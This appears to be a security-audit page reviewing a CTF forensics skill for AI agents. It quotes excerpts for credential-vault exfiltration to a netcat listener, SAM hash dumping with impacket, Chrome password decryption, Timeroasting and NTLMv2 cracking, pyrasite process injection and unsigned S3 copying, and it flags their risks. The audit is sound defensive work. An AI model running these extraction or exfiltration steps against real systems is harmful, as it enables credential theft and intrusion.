Back to skill

Security audit

Ctf Forensics

Security checks for vulnerabilities and agentic risk

Overview

This CTF forensics skill is coherent, but it includes under-scoped instructions for credential extraction, remote probing, credential-vault transfer, and other high-impact actions.

Install only in an isolated, disposable CTF or authorized forensics environment. Do not let an agent apply these commands autonomously to personal, work, production, third-party, or live systems; review any credential recovery, cloud access, network probing, ptrace, package install, or disk reconstruction step before running it.

Vulnerability Patterns
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Findings (6)

other

Error
Location
linux-forensics.md:242
Finding

Credential Vault Exfiltration Through an Attacker-Controlled Netcat Listener

Content
View full analysis
kdbx.b64 && base64 -d kdbx.b64 > system.kdbx ``` ### Technical Analysis The Skill explicitly instructs the Agent to transmit a KeePass credential database from a target system to an attacker-controlled network listener. Base64 is only an encoding and provides no confidentiality, integrity, authentication, or destination verification. This operation is not required for offline forensic analysis. A least-privilege forensic workflow would analyze an authorized evidence copy locally or transfer it through an approved, authenticated evidence-handling channel. The use of the labels “target” and “attacker,” combined with the subsequent directions to crack the database and extract SSH keys, passwords, and API tokens, establishes an explicit credential-exfiltration workflow. ### Attack Path 1. Locate `.system.kdbx` on the target system. 2. Base64-encode the credential database. 3. Open a Netcat listener on an attacker-controlled host. 4. Send the encoded database to the attacker over TCP port 4444. 5. Decode the received database. 6. Crack or otherwise open the KeePass database. 7. Extract passwords, API tokens, and SSH private keys. 8. Use the recovered credentials for account compromise or lateral movement. ### Impact Assessment Successful execution discloses the entire credential vault to a remote party. The resulting access can include: - User and service-account passwords - SSH private keys - API tokens - Database credentials - Credentials for lateral movement - Access to any systems protected by entries in the vault The transfer is unauthenticated and unencrypted, so intermediate network observers may also recover the datab ...[truncated 8 chars]
Remediation
View remediation

T03 · Remote Payload Retrieval and Execution

Error
Location
linux-forensics.md:257
Finding

Mutable Third-Party Repository Is Downloaded, Compiled, and Executed Without Integrity Verification

Content
View full analysis
hash.txt ``` ### Technical Analysis The Skill clones a mutable branch from a personal GitHub repository, compiles its contents, and runs the resulting executable. It does not pin an immutable commit, verify a checksum or signature, review the build process, or isolate execution. The effective code executed by the Skill can therefore change after the Skill itself has been reviewed. A compromised repository, maintainer account, dependency, submodule, or build file could introduce arbitrary commands. Because the tool is given access to a sensitive KeePass database, compromise could immediately disclose the evidence and recovered credential material. ### Attack Path 1. An attacker compromises the referenced repository or its maintainer account, or causes malicious code to enter the default branch. 2. The Agent follows the Skill and clones the current repository state. 3. `make` executes attacker-controlled build instructions. 4. The resulting binary is run locally. 5. Malicious build or runtime code reads the KeePass database, local credentials, environment variables, or other forensic artifacts. 6. The code modifies evidence, establishes network connections, or executes additional payloads with the Agent’s permissions. ### Impact Assessment The downloaded code executes with the privileges of the Agent or analyst. Depending on the execution environment, it may gain access to: - The KeePass database under analysis - Recovered hashes and passwords - Local files readable by the Agent - Environment variables and API credentials - Network resources accessible from the host - Writable forensic art ...[truncated 137 chars]
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Error
Location
linux-forensics.md:485
Finding

Live Python Process Injection and Unrestricted Secret Dumping Through ptrace

Content
View full analysis
# 3. Inside the pyrasite shell, enumerate and decompile functions: import sys, uncompyle6 # List all global variables and functions for name, obj in globals().items(): if hasattr(obj, 'func_code'): print(f"\n=== {name} ===") uncompyle6.main.uncompyle(sys.version_info[0] + sys.version_info[1]/10.0, obj.func_code, sys.stdout) # 4. Also check for variables containing secrets print(globals()) # May contain flags, keys, etc. ``` ### Technical Analysis `pyrasite-shell` injects an interactive Python shell into a running process using `ptrace`. This modifies the live process and crosses a process-isolation boundary. The PID discovery command broadly lists Python processes without verifying ownership, identity, authorization, or whether the process belongs to the relevant CTF environment. The injected code then prints the complete global namespace. This violates data-minimization principles because unrelated passwords, cryptographic keys, tokens, personal information, and application state may be exposed along with the intended forensic data. The technique can also destabilize or alter the process being examined, which weakens forensic integrity. ### Attack Path 1. Enumerate all running Python processes with `pgrep`. 2. Select a target PID, potentially belonging to another application or user. 3. Obtain sufficient `ptrace` permission directly or through elevated execution. 4. Inject an interactive shell into the live process. 5. Enumerate loaded code objects and application globals. 6. Print the complete global namespace. 7. Recover secrets, tokens, keys, or proprietary ...[truncated 793 chars]
Remediation
View remediation

T08 · Insecure Dependencies

Warning
Location
SKILL.md:17
Finding

Unpinned Global Dependency Installation Creates a Supply-Chain Execution Risk

Content
View full analysis
Remediation
View remediation

T05 · Unauthorized Access and Privilege Escalation

Warning
Location
network.md:596
Finding

Active DNS Oracle Probing Extracts Remote Secrets Outside Passive Forensic Scope

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
disk-advanced.md:363
Finding

RAID Creation Command Can Modify Original Forensic Evidence

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (59)

Credential Access

High
Category
Privilege Escalation
Confidence
80% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 52)May include surrounding context.

md
- [stego-image.md](stego-image.md) - Image-specific steganography (JPEG unused DQT table LSB, BMP bitplane QR extraction, image puzzle reassembly, F5 JPEG DCT ratio detection, PNG unused palette entry stego, QR code tile reconstruction, seed-based pixel permutation + multi-bitplane QR, JPEG thumbnail pixel-to-text mapping, conditional LSB with pixel filtering, JPEG slack space, nearest-neighbor interpolation stego, RGB parity steganography)
- [stego-advanced.md](stego-advanced.md) - Advanced steganography part 1: audio and signal techniques (FFT frequency domain, DTMF audio, SSTV+LSB, DotCode barcode, custom frequency dual-tone keypad, multi-track audio differential subtraction, cross-channel multi-bit LSB, audio FFT musical notes, audio metadata octal encoding, nested tar whitespace encoding, audio waveform binary encoding, audio spectrogram hidden QR)
- [stego-advanced-2.md](stego-advanced-2.md) - Advanced steganography part 2: video, image transform, and format-specific techniques (video frame accumulation, reversed audio, video frame averaging, JPEG XL TOC permutation steganography, Arnold's Cat Map descrambling, high-resolution SSTV custom FM demodulation, MJPEG FFD9 trailing byte stego, EXIF zlib + Stegano pixel patterns, PDF xref covert channel, ANSI escape code stego, pixel-wise ECB deduplication)
- [linux-forensics.md](linux-forensics.md) - Linux/app forensics (log analysis, Docker image forensics, attack chains, browser credentials, Firefox history, TFTP, TLS weak RSA, USB audio, Git directory recovery, KeePass v4 cracking, Git reflog/fsck squash recovery, browser artifact analysis (Chrome/Chromium/Firefox history, cookies, downloads, local storage, session restore), corrupted git blob repair via byte brute-force, VBA macro Excel cell data to ELF binary extraction, Python in-memory source recovery via pyrasite)
- [signals-and-hardware.md](signals-and-hardware.md) - Hardware signal decoding with decode code (VGA frame parsing, HDMI TMDS symbol decode, Displ
...[truncated 25 chars]

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
87% confidence
Finding

The skill provides concrete use of offensive-capable tooling to extract SAM hashes and references cracking workflows with hashcat. While common in DFIR and CTF work, this materially lowers the barrier to credential dumping and password cracking against real systems.

Content

Scanner excerpt · SKILL.md (reported line 205)May include surrounding context.

ENT|SESSION_KEY"

Coredump

gdb -c core.dump # info registers, x/100x $rsp, find "flag"

text

See [disk-and-memory.md](disk-and-memory.md) for full Volatility plugin reference, VM forensics, and VMware snapshots. See [disk-advanced.md](disk-advanced.md) for deleted partition recovery, ZFS forensics, and ransomware analysis.

## Windows Password Hashes

```bash
# Extract with impacket, crack with hashcat -m 1000
python -c "from impacket.examples.secretsdump import *; SAMHashes('SAM', LocalOperations('SYSTEM').getBootKey()).dump()"

See windows.md for SAM details and network-advanced.md for NTLMv2 cracking from PCAP.

Bitcoin Tracing

  • Use mempool.space API: https://mempool.space/api/tx/<TXID>
  • Peel chain: ALWAYS follow LARGER output; round amounts indicate peels

Uncommon File Magic Bytes

MagicFormatExtensionNotes
OggSOgg container.oggAudio/video
RIFFRIFF

Credential Access

High
Category
Privilege Escalation
Confidence
82% confidence
Finding

This guidance explicitly describes decrypting browser-stored login data using DPAPI-derived keys. Even in a forensics/CTF context, that is dual-use credential extraction content that could be repurposed to access real user secrets on a compromised or shared host.

Content

Scanner excerpt · SKILL.md (reported line 266)May include surrounding context.

md
## Browser Forensics

- **Chrome/Edge:** Decrypt `Login Data` SQLite with AES-GCM using DPAPI master key
- **Firefox:** Query `places.sqlite` -- `SELECT url FROM moz_places WHERE url LIKE '%flag%'`

See [linux-forensics.md](linux-forensics.md) for full browser credential decryption code.

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
90% confidence
Finding

The browser forensics section contains actionable instructions for decrypting stored credentials, matching common info-stealer tradecraft. In an agent skill with filesystem and shell capabilities, such content is more dangerous because it can steer an agent toward collecting real credentials from host artifacts.

Content

Scanner excerpt · SKILL.md (reported line 266)May include surrounding context.

md
SB keyboard LED exfiltration:** Host-to-device HID SET_REPORT packets toggle Caps Lock LED. Timing encodes Morse code. See [network-advanced.md](network-advanced.md#usb-keyboard-led-morse-code-exfiltration-bitsctf-2017).

See [network.md](network.md) for SMB3 decryption, credential extraction, and [linux-forensics.md](linux-forensics.md) for full TLS/TFTP/USB workflows.

## Browser Forensics

- **Chrome/Edge:** Decrypt `Login Data` SQLite with AES-GCM using DPAPI master key
- **Firefox:** Query `places.sqlite` -- `SELECT url FROM moz_places WHERE url LIKE '%flag%'`

See [linux-forensics.md](linux-forensics.md) for full browser credential decryption code.

## Additional Technique Quick References

- **Docker image forensics:** Config JSON preserves ALL `RUN` commands even after cleanup. `tar xf app.tar` then inspect config blob. See [linux-forensics.md](linux-forensics.md).
- **Linux attack chains:** Check `auth.log`, `.bash_history`, recent binaries, PCAP. See [linux-forensics.md](linu

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · disk-and-memory.md (reported line 277)May include surrounding context.

Common forensic targets in container images:

/app/.env, /app/config/* — application secrets

/root/.bash_history — build-time commands

/etc/shadow — leaked credentials

Deleted files visible in earlier layers even if removed in later ones

text

Natural-Language Policy Violations

High
Category
Not specified by scanner
Confidence
98% confidence
Finding

The skill provides actionable instructions to use recovered DNSSEC signing keys to forge signed DNS responses, which directly enables impersonation of a zone and downstream redirection or cache-poisoning attacks. Because there is no explicit lab-only scoping or authorization boundary, the material is dangerous dual-use content with offensive applicability.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · disk-and-memory.md (reported line 294)May include surrounding context.

md
3. Parse the config blob JSON for `history[].created_by` entries
4. Each entry shows the exact Dockerfile command that was run
5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history
6. Even if a later layer `rm -f secret.txt`, the `RUN echo "flag{...}" > secret.txt` remains visible

---

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · linux-forensics.md (reported line 84)May include surrounding context.

md
3. Parse the config blob JSON for `history[].created_by` entries
4. Each entry shows the exact Dockerfile command that was run
5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history
6. Even if a later layer `rm -f secret.txt`, the `RUN echo "flag{...}" > secret.txt` remains visible

---

Credential Access

High
Category
Privilege Escalation
Confidence
86% confidence
Finding

This section provides working instructions and code to decrypt Chrome/Edge saved passwords from the Login Data database using a recovered master key. Even in a CTF/forensics context, this is a high-risk credential-access capability that could be repurposed for unauthorized credential harvesting from victim systems.

Content

Scanner excerpt · linux-forensics.md (reported line 90)May include surrounding context.

Browser Credential Decryption

Chrome/Edge Login Data decryption (requires master_key.txt):

python
from Crypto.Cipher import AES
import sqlite3, json, base64

YARA rule 'info_stealer': Information stealer patterns (credential harvesting, browser data theft) [malware]

High
Category
YARA Match
Confidence
88% confidence
Finding

The browser credential decryption material aligns with information-stealer behavior because it enumerates stored logins and decrypts saved passwords. Although framed as forensic analysis, the concrete code and artifact locations create a realistic pathway for credential theft if used outside controlled settings.

Content

Scanner excerpt · linux-forensics.md (reported line 90)May include surrounding context.

est.jsonto find the config blob hash 3. Parse the config blob JSON forhistory[].created_byentries 4. Each entry shows the exact Dockerfile command that was run 5. Secrets echoed, written, or processed in anyRUNcommand are preserved in the history 6. Even if a later layerrm -f secret.txt, the RUN echo "flag{...}" > secret.txt` remains visible


Browser Credential Decryption

Chrome/Edge Login Data decryption (requires master_key.txt):

python
from Crypto.Cipher import AES
import sqlite3, json, base64

# Load master key (from Local State file, DPAPI-protected)
with open('master_key.txt', 'rb') as f:
    master_key = f.read()

conn = sqlite3.connect('Login Data')
cursor = conn.cursor()
cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
for url, user, encrypted_pw in cursor.fetchall():
    # v10/v11 prefix = AES-GCM encrypted
    nonce = encrypted_pw[3:15]
    ciphertext = encrypted_pw[15:-16]
    tag = encrypted_pw[-16:]
    cipher =

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
84% confidence
Finding

The section references offensive-adjacent tools such as hashcat, CeWL, and custom KeePass brute-force utilities to crack a credential vault. In context this is for CTF problem-solving, but it still materially lowers the barrier for password cracking of harvested databases if copied into unauthorized environments.

Content

Scanner excerpt · linux-forensics.md (reported line 276)May include surrounding context.

eepass4brute (direct brute-force) python3 keepass4brute.py -d wordlist.txt system.kdbx

text

**Wordlist generation from challenge context:**
```bash
# Generate wordlist from related website content
cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt

# Add theme-related keywords manually
echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt

# Crack with hashcat (Argon2 = mode 13400)
hashcat -m 13400 hash.txt cewl_words.txt

After cracking — extract credentials:

  1. Open .kdbx in KeePassXC with recovered password
  2. Check all entries for SSH private keys, passwords, API tokens
  3. SSH keys are typically stored in the "Notes" or "Advanced" attachment fields

Key insight: Standard keepass2john does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the ivanmrsulja/keepass2john fork or keepass4brute for v4 support. Generate context-aware wordlists with cewl targeting related web services.


Git Reflog and fsck for Squa

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · linux-forensics.md (reported line 330)May include surrounding context.

md
# Downloads
sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"

# Cookies (encrypted on modern Chrome — need DPAPI/keychain key)
sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"

# Login Data (passwords — encrypted)

Missing User Warnings

High
Category
Not specified by scanner
Confidence
95% confidence
Finding

This section documents a full attack chain: RID enumeration, MS-SNTP hash extraction, conversion into Hashcat format, and offline cracking of machine-account material. Even though presented for forensics/CTF use, it provides operationally useful instructions for a real-world credential attack technique against Active Directory environments.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · network-advanced.md (reported line 441)May include surrounding context.

ta = bytes.fromhex(hex_payload.strip()) salt = data[:48] rid = unpack('<I', data[-20:-16])[0] md5hash = data[-16:] return f"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}"

if len(sys.argv) != 2: print("Usage: python sntp_to_hashcat.py <hex_payload>") sys.exit(1)

print(to_hashcat_form(sys.argv[1]))

text

**Cracking with Hashcat:**
```bash
# Mode 31300 = MS-SNTP (Timeroasting)
hashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username

Example hash format:

text
1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3a

Key insight: MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets machine accounts whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special

Missing User Warnings

High
Category
Not specified by scanner
Confidence
96% confidence
Finding

This section provides actionable instructions to extract a RADIUS crackable artifact, use John the Ripper to recover the shared secret, and then decrypt user password fields in captured traffic. That directly enables exposure of credentials from network captures and is dangerous beyond CTF use because the same workflow applies to real enterprise traffic.

Content

No source excerpt is available for this finding.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · network.md (reported line 248)May include surrounding context.

word = ` |

bash
# Search shell stream for credentials
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream>" | grep -i "password"

SMB3 Encrypted Traffic

Step 1: Extract NTLMv2 hash

bash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
  -e ntlmssp.ntlmv2_response.ntproofstr \
  -e ntlmssp.auth.username

Step 2: Crack with hashcat

bash
hashcat -m 5600 ntlmv2_hash.txt wordlist.txt

Step 3: Derive SMB 3.1.1 session keys (Python)

python
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import MD4
import hmac, hashlib

def SP800_108_Counter_KDF(Ki, Label, Context, L):
    n = (L // 256) + 1
    result = b''
    for i in range(1, n + 1):
        data = i.to_bytes(4, 'big') + Label + b'\x00' + Context + L.to_bytes(4, 'big')
        result += hmac.new(Ki, data, hashlib.sha256).digest()
    return result[:L // 8]

# Compute session key
nt_hash = MD4.new(password.encode('utf-16le')).digest()
response_key = hmac.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Confidence
70% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · windows.md (reported line 18)May include surrounding context.

md
dat)
- [Hosts File Hidden Data](#hosts-file-hidden-data)
- [Contact Files (.contact)](#contact-files-contact)
- [WinZip AES Encrypted Archives](#winzip-aes-encrypted-archives)
- [NTFS Alternate Data Streams](#ntfs-alternate-data-streams)
- [NTFS MFT Analysis](#ntfs-mft-analysis)
- [USN Journal ($J) Analysis](#usn-journal-j-analysis)
- [SAM Account Creation Timing](#sam-account-creation-timing)
- [Impacket wmiexec.py Artifacts](#impacket-wmiexecpy-artifacts)
- [PowerShell History as Timeline](#powershell-history-as-timeline)
- [User Profile Creation as First Login Indicator](#user-profile-creation-as-first-login-indicator)
- [RDP Session Event IDs](#rdp-session-event-ids)
- [Windows Defender MPLog Analysis](#windows-defender-mplog-analysis)
- [Anti-Forensics Detection Checklist](#anti-forensics-detection-checklist)
- [Windows Memory Forensics: certutil Base64 ZIP Recovery (SEC-T CTF 2017)](#windows-memory-forensics-certutil-base64-zip-recovery-sec-t-ctf-2017)

---

## Windows Event Logs

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · windows.md (reported line 146)May include surrounding context.

Hex-encoded flag fragments:

bash
cat '$R_InternSecret.txt'
# Output: 4B4354467B72656330...
echo "4B4354467B72656330..." | xxd -r -p

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · windows.md (reported line 232)May include surrounding context.

md
# Using Sleuth Kit on a raw NTFS image (best for forensics):
fls -r ntfs_image.dd                              # Recursive file listing
fls -r ntfs_image.dd | grep -i ":"                # ADS entries contain ":"
# Output: r/r 66-128-4: Documents/credentials.txt:hidden_flag.jpg

# Extract ADS by inode — find inode first:
istat ntfs_image.dd 66                            # Show all attributes for inode 66

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The guidance includes mdadm --create and mount commands on disk images without warning that these operations can affect the host system, require elevated privileges, and may accidentally assemble or mount evidence in a non-read-only or otherwise unsafe manner. In a forensics context, lack of explicit safety guidance increases the risk of evidence modification, unintended writes, or user damage to local devices if commands are adapted incorrectly.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

This markdown file explicitly directs extraction of password hashes, boot keys, browser data, and credentials from VM images, but it does not include any warning about handling sensitive data or privacy implications. Under the markdown criteria for SQP-2, behaviors affecting user data and credentials should be disclosed to the user.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
91% confidence
Finding

The section covers extracting full Android backups, reading contacts and SMS databases, and locating saved Wi‑Fi passwords, all of which can expose highly sensitive personal and credential data. The markdown does not provide any warning about privacy impact, authorization requirements, or careful handling of extracted data.

Content

No source excerpt is available for this finding.

Rp1

Medium
Category
MCP Rug Pull
Confidence
75% confidence
Finding

Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
84% confidence
Finding

This section provides concrete commands to enumerate and download cloud storage contents, including versioned objects, without any guardrails about authorization or public-bucket verification. Even in a forensics/CTF context, these are directly reusable for unauthorized data access and exfiltration against real cloud resources.

Content

No source excerpt is available for this finding.

Cloud Storage Exfiltration

Medium
Category
Data Exfiltration
Confidence
83% confidence
Finding

The aws s3 cp ... --no-sign-request example demonstrates copying data from a bucket to local storage, which is an exfiltration primitive if aimed at publicly exposed or misconfigured buckets. Because the skill does not constrain use to owned/public training resources at this point, the example lowers the barrier to unauthorized data collection.

Content

Scanner excerpt · disk-and-memory.md (reported line 290)May include surrounding context.

bash
# Enumerate public S3 buckets
aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 cp s3://target-bucket/flag.txt . --no-sign-request

# Check bucket versioning (previous versions may contain deleted flags)
aws s3api list-object-versions --bucket target-bucket --no-sign-request

Static analysis

Detected: suspicious.exposed_secret_literal

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
linux-forensics.md:108